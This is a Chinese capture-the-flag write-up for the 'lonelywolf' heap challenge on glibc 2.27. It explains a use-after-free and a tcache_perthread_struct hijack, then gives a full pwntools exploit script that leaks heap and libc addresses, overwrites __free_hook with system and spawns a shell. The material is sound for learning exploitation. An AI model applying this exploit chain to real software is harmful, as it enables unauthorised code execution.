前言

每日一Pwn做到了这个题,又学到了新东西,主要是对于tcache_perthread_struct的攻击。

https://www.nssctf.cn/problem/856

题目分析

glibc2.27-1.4(????)

alloc函数只能分配小于0x78大小的堆块,并且存储堆块指针的全局变量只有一个,多次alloc就会把之前的指针覆盖掉。

delete函数可以任意的uaf。

tcache_perthread_struct

typedef struct tcache_perthread_struct
{
char counts[TCACHE_MAX_BINS];
tcache_entry *entries[TCACHE_MAX_BINS];
} tcache_perthread_struct;

# define TCACHE_MAX_BINS

简单来说,会有一串单字节数组表示对应的tcache已经放了多少个,之后的就是各个tcache的表头了,我们如果能申请堆块到这个地方,从而修改tcache表头,我们就可以实现任意地址申请(即使申请到的堆块实际大小超出这个tcache的大小也没关系,tcache不检查)

思路

由于alloc函数不能分配smallbin大小的堆块,也就是说不能依靠先申请一个smallbin大小的堆块然后释放掉从而泄漏libc指针了。

但是有uaf漏洞,我们可以向任意地址申请堆块。

我的思路就是这个样子,首先泄漏一下heap_base,这个非常简单,之后我们申请两次堆块,并在这两个堆块上面伪造堆块,最终实现的效果就是,在两个堆块中有一个大小在0xa0的堆块,并且后面还有一个小堆块防止合并。

然后在第二个堆块的fd位置写入tcache_perthread_struct,从而申请到这个结构里,然后修改tcache表头成我们伪造的堆块,这样我们再申请就能申请到我们伪造的堆块,而且因为这个堆块的size是0xa0,再连续释放8次就可以让这个堆块的fd指针指向unsortedbin,从而泄漏libc。

最后就是打free_hook修改为system,然后getshell。

exp

from pwncli import *

context(log_level='debug', arch='amd64', os='linux')
context.terminal = ["tmux", "splitw", "-h"]
uu64 = lambda x: u64(x.ljust(8, b'\x00'))
s = lambda x: p.send(x)
sa = lambda x, y: p.sendafter(x, y)
sl = lambda x: p.sendline(x)
sla = lambda x, y: p.sendlineafter(x, y)
ru = lambda x: p.recvuntil(x)
ti = lambda : p.interactive()
leak = lambda name,addr :log.success(name+"--->"+hex(addr))

def dbg():
gdb.attach(p,'b* $rebase(0x908)')
def pp64(*args):
payload=b''
for i, arg in enumerate(args):
payload+=p64(arg)
return payload
def cmd(c):
sla('Your choice: ',str(c))
def malloc(size):
cmd(1)
sla("Index: ",str(0))
sla('Size: ',str(size))
def edit(content):
cmd(2)
sla("Index: ",str(0))
sla('Content: ',content)
def show():
cmd(3)
sla("Index: ",str(0))
def delete():
cmd(4)
sla("Index: ",str(0))


p=process('./lonelywolf')
#node4.anna.nssctf.cn:28661
#p=remote('node4.anna.nssctf.cn',28661)
libc=ELF('/ctf/glibc-all-in-one/libs/2.27-3ubuntu1.5_amd64/libc.so.6')
malloc(0x78)
delete()
show()
edit(pp64(0,0))
delete()
show()
ru("Content: ")
heap_base=uu64(p.recv(6))-0x260
leak('heap_base',heap_base)

#伪造fake_chunk
malloc(0x60)
edit(pp64(0,0xa1))
malloc(0x50)
delete()
edit(pp64(heap_base+0x70,0,0,0,0,0,0,0x21))


fake_chunk=heap_base+0x2f0
malloc(0x50)
malloc(0x50)
edit(p64(fake_chunk))
malloc(0x50)
delete()

for i in range(6):
#show()
#ru("Content: ")
#q=uu64(p.recv(6))
edit(pp64(0,0))
delete()

edit(pp64(0,0))

delete()

show()
ru("Content: ")
libc_base=uu64(p.recv(6))-0x7e72bdbebca0+0x7e72bd800000
leak('libc_base',libc_base)


free_hook=libc_base+libc.sym['__free_hook']
system=libc_base+libc.sym['system']

malloc(0x60)
delete()
edit(p64(free_hook))
malloc(0x60)
malloc(0x60)
edit(p64(system))
malloc(0x60)
edit(b'/bin/sh\x00')
delete()
ti()
# 0x74a801400000

画图